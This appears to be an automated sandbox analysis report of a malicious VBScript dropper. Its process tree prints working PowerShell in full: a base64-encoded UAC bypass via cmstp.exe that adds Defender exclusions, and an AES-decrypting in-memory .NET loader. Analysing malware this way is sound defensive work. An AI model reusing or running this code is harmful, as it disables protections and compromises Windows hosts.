Analysis

  • max time kernel
    82s
  • max time network
    23s
  • platform
    windows7_x64
  • resource
    win7-20241010-en
  • resource tags

    arch:x64arch:x86image:win7-20241010-enlocale:en-usos:windows7-x64system
  • submitted
    22-12-2024 20:11

General

  • Target

    7254_output.vbs

  • Size

    203KB

  • MD5

    02081ae0dbab5cbb3ba6fb3d316bb850

  • SHA1

    0b422b950e717427ec53709384b214433871f78b

  • SHA256

    f93f8db130adb1cb891c6a8591d1c2f518a4ba3d5aed98d1e7b530030b0297bb

  • SHA512

    7ae8c0859f25c7cecaa0be83d5ac99d20bde7287ef1f49ddd3114d4683c8ec05a2947f0c0d27b62ea5b4b0764d6ae0a104ffa7d6d84a46b1bd0ecb1eac9d718d

  • SSDEEP

    1536:abfH0KjxZkPuIqVvsPX9ZvPcL6pVIxQz4EEmgEUUQt7xLVCf:a7H0KjYSds/9ZXCnjIK7pV2

Score
8/10

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 10 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\7254_output.vbs"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3016
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -WindowStyle Hidden -Command Invoke-Expression ([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('ZnVuY3Rpb24gcmFuZG9tWFlaLUludm9rZS1VQUMgewoKCnBhcmFtKAogICAgW1BhcmFtZXRlcihNYW5kYXRvcnkgPSAkdHJ1ZSldCiAgICBbc3RyaW5nXSRyYW5kb21YWVpFeGVjdXRhYmxlLAogCiAgICBbUGFyYW1ldGVyKCldCiAgICBbc3RyaW5nXSRyYW5kb21YWVpDb21tYW5kCikKCiRyYW5kb21YWVpJbmZEYXRhID0gQCcKW3ZlcnNpb25dClNpZ25hdHVyZT0kY2hpY2FnbyQKQWR2YW5jZWRJTkY9Mi41CgpbRGVmYXVsdEluc3RhbGxdCkN1c3RvbURlc3RpbmF0aW9uPXJhbmRvbVhZWi1DdXN0SW5zdERlc3RTZWN0aW9uQWxsVXNlcnMKUnVuUHJlU2V0dXBDb21tYW5kcz1yYW5kb21YWVotUnVuUHJlU2V0dXBDb21tYW5kc1NlY3Rpb24KCltyYW5kb21YWVotUnVuUHJlU2V0dXBDb21tYW5kc1NlY3Rpb25dCkxJTkUKdGFza2tpbGwgL0lNIGNtc3RwLmV4ZSAvRgoKW3JhbmRvbVhZWi1DdXN0SW5zdERlc3RTZWN0aW9uQWxsVXNlcnNdCjQ5MDAwLDQ5MDAxPXJhbmRvbVhZWi1BbGxVU2VyX0xESURTZWN0aW9uLCA3CgpbcmFuZG9tWFlaLUFsbFVTZXJfTERJRFNlY3Rpb25dCiJIS0xNIiwgIlNPRlRXQVJFXE1pY3Jvc29mdFxXaW5kb3dzXEN1cnJlbnRWZXJzaW9uXEFwcCBQYXRoc1xDTU1HUjMyLkVYRSIsICJQcm9maWxlSW5zdGFsbFBhdGgiLCAiJVVuZXhwZWN0ZWRFcnJvciUiLCAiIgoKW1N0cmluZ3NdClNlcnZpY2VOYW1lPSJyYW5kb21YWVpWUE4iClNob3J0U3ZjTmFtZT0icmFuZG9tWFlaVlBOIgonQAoKJHJhbmRvbVhZWkNvZGUgPSBAIgp1c2luZyBTeXN0ZW07CnVzaW5nIFN5c3RlbS5UaHJlYWRpbmc7CnVzaW5nIFN5c3RlbS5UZXh0Owp1c2luZyBTeXN0ZW0uSU87CnVzaW5nIFN5c3RlbS5EaWFnbm9zdGljczsKdXNpbmcgU3lzdGVtLkNvbXBvbmVudE1vZGVsOwp1c2luZyBTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXM7CgpwdWJsaWMgY2xhc3MgcmFuZG9tWFlaQ01TVFBCeXBhc3MKewogICAgW0RsbEltcG9ydCgiU2hlbGwzMi5kbGwiLCBDaGFyU2V0ID0gQ2hhclNldC5BdXRvLCBTZXRMYXN0RXJyb3IgPSB0cnVlKV0KICAgIHN0YXRpYyBleHRlcm4gSW50UHRyIFNoZWxsRXhlY3V0ZShJbnRQdHIgaHduZCwgc3RyaW5nIGxwT3BlcmF0aW9uLCBzdHJpbmcgbHBGaWxlLCBzdHJpbmcgbHBQYXJhbWV0ZXJzLCBzdHJpbmcgbHBEaXJlY3RvcnksIGludCBuU2hvd0NtZCk7CgogICAgW0RsbEltcG9ydCgidXNlcjMyLmRsbCIpXQogICAgc3RhdGljIGV4dGVybiBJbnRQdHIgRmluZFdpbmRvdyhzdHJpbmcgbHBDbGFzc05hbWUsIHN0cmluZyBscFdpbmRvd05hbWUpOwoKICAgIFtEbGxJbXBvcnQoInVzZXIzMi5kbGwiKV0KICAgIHN0YXRpYyBleHRlcm4gYm9vbCBQb3N0TWVzc2FnZShJbnRQdHIgaFduZCwgdWludCBNc2csIGludCB3UGFyYW0sIGludCBsUGFyYW0pOwoKICAgIHB1YmxpYyBzdGF0aWMgc3RyaW5nIEJpbmFyeVBhdGggPSAiYzpcXHdpbmRvd3NcXHN5c3RlbTMyXFxjbXN0cC5leGUiOwoKICAgIHB1YmxpYyBzdGF0aWMgc3RyaW5nIFNldEluZkZpbGUoc3RyaW5nIENvbW1hbmRUb0V4ZWN1dGUsIHN0cmluZyBJbmZEYXRhKQogICAgewogICAgICAgIFN0cmluZ0J1aWxkZXIgT3V0cHV0RmlsZSA9IG5ldyBTdHJpbmdCdWlsZGVyKCk7CiAgICAgICAgT3V0cHV0RmlsZS5BcHBlbmQoIkM6XFx3aW5kb3dzXFx0ZW1wIik7CiAgICAgICAgT3V0cHV0RmlsZS5BcHBlbmQoIlxcIik7CiAgICAgICAgT3V0cHV0RmlsZS5BcHBlbmQoUGF0aC5HZXRSYW5kb21GaWxlTmFtZSgpLlNwbGl0KENvbnZlcnQuVG9DaGFyKCIuIikpWzBdKTsKICAgICAgICBPdXRwdXRGaWxlLkFwcGVuZCgiLmluZiIpOwogICAgICAgIFN0cmluZ0J1aWxkZXIgbmV3SW5mRGF0YSA9IG5ldyBTdHJpbmdCdWlsZGVyKEluZkRhdGEpOwogICAgICAgIG5ld0luZkRhdGEuUmVwbGFjZSgiTElORSIsIENvbW1hbmRUb0V4ZWN1dGUpOwogICAgICAgIEZpbGUuV3JpdGVBbGxUZXh0KE91dHB1dEZpbGUuVG9TdHJpbmcoKSwgbmV3SW5mRGF0YS5Ub1N0cmluZygpKTsKICAgICAgICByZXR1cm4gT3V0cHV0RmlsZS5Ub1N0cmluZygpOwogICAgfQoKICAgIHB1YmxpYyBzdGF0aWMgYm9vbCByYW5kb21YWVpFeGVjdXRlKHN0cmluZyBDb21tYW5kVG9FeGVjdXRlLCBzdHJpbmcgSW5mRGF0YSkKICAgIHsKICAgICAgICBjb25zdCBpbnQgV01fU1lTS0VZRE9XTiA9IDB4MDEwMDsKICAgICAgICBjb25zdCBpbnQgVktfUkVUVVJOID0gMHgwRDsKCiAgICAgICAgU3RyaW5nQnVpbGRlciBJbmZGaWxlID0gbmV3IFN0cmluZ0J1aWxkZXIoKTsKICAgICAgICBJbmZGaWxlLkFwcGVuZChTZXRJbmZGaWxlKENvbW1hbmRUb0V4ZWN1dGUsIEluZkRhdGEpKTsKCiAgICAgICAgUHJvY2Vzc1N0YXJ0SW5mbyBzdGFydEluZm8gPSBuZXcgUHJvY2Vzc1N0YXJ0SW5mbyhCaW5hcnlQYXRoKTsKICAgICAgICBzdGFydEluZm8uQXJndW1lbnRzID0gIi9hdSAiICsgSW5mRmlsZS5Ub1N0cmluZygpOwogICAgICAgIHN0YXJ0SW5mby5XaW5kb3dTdHlsZSA9IFByb2Nlc3NXaW5kb3dTdHlsZS5IaWRkZW47ICAvLyBIaWRkZW4gd2luZG93CiAgICAgICAgSW50UHRyIGRwdHIgPSBNYXJzaGFsLkFsbG9jSEdsb2JhbCgxKTsKICAgICAgICBTaGVsbEV4ZWN1dGUoZHB0ciwgIiIsIEJpbmFyeVBhdGgsIHN0YXJ0SW5mby5Bcmd1bWVudHMsICIiLCAwKTsKCiAgICAgICAgVGhyZWFkLlNsZWVwKDMwMDApOwogICAgICAgIEludFB0ciBXaW5kb3dUb0ZpbmQgPSBGaW5kV2luZG93KG51bGwsICJyYW5kb21YWVpWUE4iKTsKCiAgICAgICAgUG9zdE1lc3NhZ2UoV2luZG93VG9GaW5kLCBXTV9TWVNLRVlET1dOLCBWS19SRVRVUk4sIDApOwogICAgICAgIFRocmVhZC5TbGVlcCg1MDAwKTsKICAgICAgICBGaWxlLkRlbGV0ZShJbmZGaWxlLlRvU3RyaW5nKCkpOwogICAgICAgIHJldHVybiB0cnVlOwogICAgfQp9CiJACgokcmFuZG9tWFlaQ29uc2VudFByb21wdCA9IChHZXQtSXRlbVByb3BlcnR5IEhLTE06XFNPRlRXQVJFXE1pY3Jvc29mdFxXaW5kb3dzXEN1cnJlbnRWZXJzaW9uXFBvbGljaWVzXFN5c3RlbSkuQ29uc2VudFByb21wdEJlaGF2aW9yQWRtaW4KJHJhbmRvbVhZWlNlY3VyZURlc2t0b3BQcm9tcHQgPSAoR2V0LUl0ZW1Qcm9wZXJ0eSBIS0xNOlxTT0ZUV0FSRVxNaWNyb3NvZnRcV2luZG93c1xDdXJyZW50VmVyc2lvblxQb2xpY2llc1xTeXN0ZW0pLlByb21wdE9uU2VjdXJlRGVza3RvcAppZiAoJHJhbmRvbVhZWkNvbnNlbnRQcm9tcHQgLUVxIDIgLWFuZCAkcmFuZG9tWFlaU2VjdXJlRGVza3RvcFByb21wdCAtRXEgMSkgewogICAgcmV0dXJuCn0KCnRyeSB7CiAgICAkcmFuZG9tWFlaVXNlciA9IFtTeXN0ZW0uU2VjdXJpdHkuUHJpbmNpcGFsLldpbmRvd3NJZGVudGl0eV06OkdldEN1cnJlbnQoKS5OYW1lCiAgICAkcmFuZG9tWFlaQWRtID0gR2V0LUxvY2FsR3JvdXBNZW1iZXIgLVNJRCBTLTEtNS0zMi01NDQgfCBXaGVyZS1PYmplY3QgeyAkXy5OYW1lIC1lcSAkcmFuZG9tWFlaVXNlciB9Cn0gY2F0Y2ggewogICAgJHJhbmRvbVhZWlVzZXIgPSBbU3lzdGVtLlNlY3VyaXR5LlByaW5jaXBhbC5XaW5kb3dzSWRlbnRpdHldOjpHZXRDdXJyZW50KCkuTmFtZQogICAgJHJhbmRvbVhZWkFkbWluR3JvdXBTSUQgPSAnUy0xLTUtMzItNTQ0JwogICAgJHJhbmRvbVhZWkFkbWluR3JvdXAgPSBHZXQtV21pT2JqZWN0IC1DbGFzcyBXaW4zMl9Hcm91cCB8IFdoZXJlLU9iamVjdCB7ICRfLlNJRCAtZXEgJHJhbmRvbVhZWkFkbWluR3JvdXBTSUQgfQogICAgJHJhbmRvbVhZWk1lbWJlcnMgPSAkcmFuZG9tWFlaQWRtaW5Hcm91cC5HZXRSZWxhdGVkKCJXaW4zMl9Vc2VyQWNjb3VudCIpCiAgICAkcmFuZG9tWFlaTWVtYmVycyB8IEZvckVhY2gtT2JqZWN0IHsgaWYgKCRfLkNhcHRpb24gLWVxICRyYW5kb21YWVpVc2VyKSB7ICRyYW5kb21YWVpBZG0gPSAkdHJ1ZSB9IH0KfQoKaWYgKCEkcmFuZG9tWFlaQWRtKSB7CiAgICByZXR1cm4KfQoKdHJ5IHsKICAgIGlmICghW1N5c3RlbS5JTy5GaWxlXTo6RXhpc3RzKCRyYW5kb21YWVpFeGVjdXRhYmxlKSkgewogICAgICAgICRyYW5kb21YWVpFeCA9IChHZXQtQ29tbWFuZCAkcmFuZG9tWFlaRXhlY3V0YWJsZSkKICAgICAgICBpZiAoIVtTeXN0ZW0uSU8uRmlsZV06OkV4aXN0cygkcmFuZG9tWFlaRXguU291cmNlKSkgewogICAgICAgICAgICAkcmFuZG9tWFlaRXhlY3V0YWJsZSA9ICRFeGVjdXRpb25Db250ZXh0LlNlc3Npb25TdGF0ZS5QYXRoLkdldFVucmVzb2x2ZWRQcm92aWRlclBhdGhGcm9tUFNQYXRoKCRyYW5kb21YWVpFeGVjdXRhYmxlKQogICAgICAgICAgICBpZiAoIVtTeXN0ZW0uSU8uRmlsZV06OkV4aXN0cygkcmFuZG9tWFlaRXhlY3V0YWJsZSkpIHsKICAgICAgICAgICAgICAgIHJldHVybgogICAgICAgICAgICB9CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgJHJhbmRvbVhZWkV4ZWN1dGFibGUgPSAoR2V0LUNvbW1hbmQgJHJhbmRvbVhZWkV4ZWN1dGFibGUpLk5hbWUKICAgICAgICB9CiAgICB9Cn0gY2F0Y2ggewogICAgcmV0dXJuCn0KCmlmICgkcmFuZG9tWFlaRXhlY3V0YWJsZS5Db250YWlucygicG93ZXJzaGVsbCIpKSB7CiAgICBpZiAoJHJhbmRvbVhZWkNvbW1hbmQgLW5lICIiKSB7CiAgICAgICAgJHJhbmRvbVhZWkZpbmFsID0gInBvd2Vyc2hlbGwgLVdpbmRvd1N0eWxlIEhpZGRlbiAtYyAiIiRyYW5kb21YWVpDb21tYW5kIiIiCiAgICB9IGVsc2UgewogICAgICAgICRyYW5kb21YWVpGaW5hbCA9ICIkcmFuZG9tWFlaRXhlY3V0YWJsZSAkcmFuZG9tWFlaQ29tbWFuZCIKICAgIH0KfSBlbHNlaWYgKCRyYW5kb21YWVpFeGVjdXRhYmxlLkNvbnRhaW5zKCJjbWQiKSkgewogICAgaWYgKCRyYW5kb21YWVpDb21tYW5kIC1uZSAiIikgewogICAgICAgICRyYW5kb21YWVpGaW5hbCA9ICJjbWQgL2MgIiIkcmFuZG9tWFlaQ29tbWFuZCIiIiAgIyBDaGFuZ2VkIHRvIC9jIHRvIGNsb3NlIHRoZSBjbWQgd2luZG93CiAgICB9IGVsc2UgewogICAgICAgICRyYW5kb21YWVpGaW5hbCA9ICIkcmFuZG9tWFlaRXhlY3V0YWJsZSAkcmFuZG9tWFlaQ29tbWFuZCIKICAgIH0KfSBlbHNlIHsKICAgICRyYW5kb21YWVpGaW5hbCA9ICIkcmFuZG9tWFlaRXhlY3V0YWJsZSAkcmFuZG9tWFlaQ29tbWFuZCIKfQoKZnVuY3Rpb24gcmFuZG9tWFlaRXhlY3V0ZSB7CiAgICB0cnkgewogICAgICAgICRyYW5kb21YWVpSZXN1bHQgPSBbcmFuZG9tWFlaQ01TVFBCeXBhc3NdOjpyYW5kb21YWVpFeGVjdXRlKCRyYW5kb21YWVpGaW5hbCwgJHJhbmRvbVhZWkluZkRhdGEpCiAgICB9IGNhdGNoIHsKICAgICAgICBBZGQtVHlwZSAkcmFuZG9tWFlaQ29kZQogICAgICAgICRyYW5kb21YWVpSZXN1bHQgPSBbcmFuZG9tWFlaQ01TVFBCeXBhc3NdOjpyYW5kb21YWVpFeGVjdXRlKCRyYW5kb21YWVpGaW5hbCwgJHJhbmRvbVhZWkluZkRhdGEpCiAgICB9CgogICAgaWYgKCRyYW5kb21YWVpSZXN1bHQpIHsKICAgICAgICByZXR1cm4KICAgIH0gZWxzZSB7CiAgICAgICAgcmV0dXJuCiAgICB9Cn0KCiRyYW5kb21YWVpQcm9jZXNzID0gKChHZXQtV21pT2JqZWN0IC1DbGFzcyB3aW4zMl9wcm9jZXNzKS5uYW1lIHwgU2VsZWN0LVN0cmluZyAiY21zdHAiIHwgU2VsZWN0LU9iamVjdCAqIC1GaXJzdCAxKS5QYXR0ZXJuCmlmICgkcmFuZG9tWFlaUHJvY2VzcyAtZXEgImNtc3RwIikgewogICAgdHJ5IHsKICAgICAgICBTdG9wLVByb2Nlc3MgLU5hbWUgImNtc3RwIiAtRm9yY2UKICAgICAgICByYW5kb21YWVpFeGVjdXRlCiAgICB9IGNhdGNoIHsKICAgICAgICByZXR1cm4KICAgIH0KfSBlbHNlIHsKICAgIHJhbmRvbVhZWkV4ZWN1dGUKfQp9CgojIEZ1bmN0aW9uIENhbGwKcmFuZG9tWFlaLUludm9rZS1VQUMgLXJhbmRvbVhZWkV4ZWN1dGFibGUgInBvd2Vyc2hlbGwiIC1yYW5kb21YWVpDb21tYW5kICIuKCdBZGQtTXBQJyArICdyZWZlcmVuY2UnKSAtRXhjbHVzaW9uUGF0aCBDOlwgLUV4Y2x1c2lvblByb2Nlc3MgcG93ZXJzaGVsbC5leGUi')))
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2876
    • C:\Windows\System32\cmd.exe
      cmd /c ""C:\Users\Admin\AppData\Local\Temp\c.bat" "
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2144
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ IEX '#EspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNK '.Replace('Espaco', ''); $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ZTKslE6OdsXNtdeXo76Lj86BwdjokmZoErSJ0CEwRis='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ftBNGOmShOOXC7u6Pue69A=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ IEX '$ZjNXA=New-Object System.IO.MOBFOBFUSCUDAemOBFOBFUSCUDAorOBFOBFUSCUDAySOBFOBFUSCUDAtrOBFOBFUSCUDAeaOBFOBFUSCUDAm(,$param_var);'.Replace('OBFOBFUSCUDA', ''); IEX '$hkZyt=New-Object System.IO.OBFOBFUSCUDAMOBFOBFUSCUDAeOBFOBFUSCUDAmOBFOBFUSCUDAoOBFOBFUSCUDArOBFOBFUSCUDAyOBFOBFUSCUDASOBFOBFUSCUDAtOBFOBFUSCUDArOBFOBFUSCUDAeOBFOBFUSCUDAaOBFOBFUSCUDAmOBFOBFUSCUDA;'.Replace('OBFOBFUSCUDA', ''); IEX '$YeAxa=New-Object System.IO.COBFOBFUSCUDAomOBFOBFUSCUDAprOBFOBFUSCUDAeOBFOBFUSCUDAssOBFOBFUSCUDAioOBFOBFUSCUDAn.OBFOBFUSCUDAGZOBFOBFUSCUDAipOBFOBFUSCUDAStOBFOBFUSCUDAreOBFOBFUSCUDAamOBFOBFUSCUDA($ZjNXA, [IO.COBFOBFUSCUDAomOBFOBFUSCUDAprOBFOBFUSCUDAesOBFOBFUSCUDAsiOBFOBFUSCUDAonOBFOBFUSCUDA.CoOBFOBFUSCUDAmpOBFOBFUSCUDAreOBFOBFUSCUDAssOBFOBFUSCUDAiOBFOBFUSCUDAoOBFOBFUSCUDAnOBFOBFUSCUDAMode]::DOBFOBFUSCUDAeOBFOBFUSCUDAcOBFOBFUSCUDAompOBFOBFUSCUDAreOBFOBFUSCUDAss);'.Replace('OBFOBFUSCUDA', ''); $YeAxa.CopyTo($hkZyt); $YeAxa.Dispose(); $ZjNXA.Dispose(); $hkZyt.Dispose(); $hkZyt.ToArray();}function execute_function($param_var,$param2_var){ IEX '$hMSFrZstRXKXXSE=[System.ROBFOBFUSCUDAeOBFOBFUSCUDAflOBFOBFUSCUDAectOBFOBFUSCUDAioOBFOBFUSCUDAn.OBFOBFUSCUDAAsOBFOBFUSCUDAseOBFOBFUSCUDAmbOBFOBFUSCUDAlOBFOBFUSCUDAyOBFOBFUSCUDA]::LOBFOBFUSCUDAoOBFOBFUSCUDAaOBFOBFUSCUDAdOBFOBFUSCUDA([byte[]]$param_var);'.Replace('OBFOBFUSCUDA', ''); IEX '$YHCrtoDbeFwPknhvovWwaLUfKHQVaPjnhUuqCjeMELNaUjhfKCwCbvDmNxHMyHbovjIqSQTfrkRpYUkAzKlxtHmLqhDeBroXJyEKARmTJrlRDooTmhmNvDVOXXZLnODZWUFzpzZHxsObwuhcSKSufA=$hMSFrZstRXKXXSE.OBFOBFUSCUDAEOBFOBFUSCUDAnOBFOBFUSCUDAtOBFOBFUSCUDArOBFOBFUSCUDAyOBFOBFUSCUDAPOBFOBFUSCUDAoOBFOBFUSCUDAiOBFOBFUSCUDAnOBFOBFUSCUDAtOBFOBFUSCUDA;'.Replace('OBFOBFUSCUDA', ''); IEX '$YHCrtoDbeFwPknhvovWwaLUfKHQVaPjnhUuqCjeMELNaUjhfKCwCbvDmNxHMyHbovjIqSQTfrkRpYUkAzKlxtHmLqhDeBroXJyEKARmTJrlRDooTmhmNvDVOXXZLnODZWUFzpzZHxsObwuhcSKSufA.OBFOBFUSCUDAIOBFOBFUSCUDAnOBFOBFUSCUDAvOBFOBFUSCUDAoOBFOBFUSCUDAkOBFOBFUSCUDAeOBFOBFUSCUDA($null, $param2_var);'.Replace('OBFOBFUSCUDA', '');}$zQ = 'C:\Users\Admin\AppData\Local\Temp\c.bat';$host.UI.RawUI.WindowTitle = $zQ;$UwrDhZatxq=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($zQ).Split([Environment]::NewLine);foreach ($EN in $UwrDhZatxq) { if ($EN.StartsWith(':: ')) { $Z=$EN.Substring(3); break; }}$payloads_var=[string[]]$Z.Split('\');IEX '$payload1_var=decompress_function (decrypt_function ([OBFOBFUSCUDACOBFOBFUSCUDAoOBFOBFUSCUDAnOBFOBFUSCUDAvOBFOBFUSCUDAeOBFOBFUSCUDArt]::OBFOBFUSCUDAFOBFOBFUSCUDArOBFOBFUSCUDAoOBFOBFUSCUDAmOBFOBFUSCUDABOBFOBFUSCUDAaOBFOBFUSCUDAse6OBFOBFUSCUDA4OBFOBFUSCUDASOBFOBFUSCUDAtOBFOBFUSCUDAriOBFOBFUSCUDAnOBFOBFUSCUDAgOBFOBFUSCUDA($payloads_var[0])));'.Replace('OBFOBFUSCUDA', '');IEX '$payload2_var=decompress_function (decrypt_function ([OBFOBFUSCUDACOBFOBFUSCUDAoOBFOBFUSCUDAnOBFOBFUSCUDAvOBFOBFUSCUDAeOBFOBFUSCUDArOBFOBFUSCUDAt]::OBFOBFUSCUDAFOBFOBFUSCUDArOBFOBFUSCUDAoOBFOBFUSCUDAmOBFOBFUSCUDABOBFOBFUSCUDAaOBFOBFUSCUDAsOBFOBFUSCUDAeOBFOBFUSCUDA6OBFOBFUSCUDA4OBFOBFUSCUDASOBFOBFUSCUDAtrOBFOBFUSCUDAiOBFOBFUSCUDAnOBFOBFUSCUDAg($payloads_var[1])));'.Replace('OBFOBFUSCUDA', '');execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('OBFOBFUSCUDA'));
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: CmdExeWriteProcessMemorySpam
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1800

Network

MITRE ATT&CK Enterprise v15

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\c.bat

    Filesize

    74KB

    MD5

    88e72154cfed4a9932b4a4799aab6df7

    SHA1

    043136d11ffa2f5aa6c8f6e961686a31a9eb50ef

    SHA256

    3dc1f5d2c9260a882c6ebe35a4be8b407eced4ab579552b49d3e4d60ea68a373

    SHA512

    f1479b3cab97a661360e9582a9cf5d49a28f8d92b63710e02345a3dfc19c151d8923990cf4c41936df9baae25a907e0c699133a8a0c4f09858d7a1021abf0bcf

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\G4PBJSPDO1QWBW2AXCTT.temp

    Filesize

    7KB

    MD5

    f2565aa9635feef93dee27f0da11e267

    SHA1

    d4eafbfa2a1f1b8e272a4647d9ef4546dc6d7d63

    SHA256

    dec009434195cab4665d51cc06d392d52306e83c074fd96f9a18fc92bc07d38a

    SHA512

    d175322126aa21fc36efc8f70be26b5be82c927e2ed229a235dad70987a4224c464545bd9b2c0ec0cb652f9caa7972da351b6c2c7c221279b5ef80e5ecff4177

  • memory/2876-10-0x000007FEF5AC0000-0x000007FEF645D000-memory.dmp

    Filesize

    9.6MB

  • memory/2876-6-0x0000000002420000-0x0000000002428000-memory.dmp

    Filesize

    32KB

  • memory/2876-8-0x000007FEF5AC0000-0x000007FEF645D000-memory.dmp

    Filesize

    9.6MB

  • memory/2876-9-0x000007FEF5AC0000-0x000007FEF645D000-memory.dmp

    Filesize

    9.6MB

  • memory/2876-4-0x000007FEF5D7E000-0x000007FEF5D7F000-memory.dmp

    Filesize

    4KB

  • memory/2876-11-0x000007FEF5AC0000-0x000007FEF645D000-memory.dmp

    Filesize

    9.6MB

  • memory/2876-12-0x000007FEF5D7E000-0x000007FEF5D7F000-memory.dmp

    Filesize

    4KB

  • memory/2876-13-0x000007FEF5AC0000-0x000007FEF645D000-memory.dmp

    Filesize

    9.6MB

  • memory/2876-14-0x000007FEF5AC0000-0x000007FEF645D000-memory.dmp

    Filesize

    9.6MB

  • memory/2876-7-0x000007FEF5AC0000-0x000007FEF645D000-memory.dmp

    Filesize

    9.6MB

  • memory/2876-5-0x000000001B3B0000-0x000000001B692000-memory.dmp

    Filesize

    2.9MB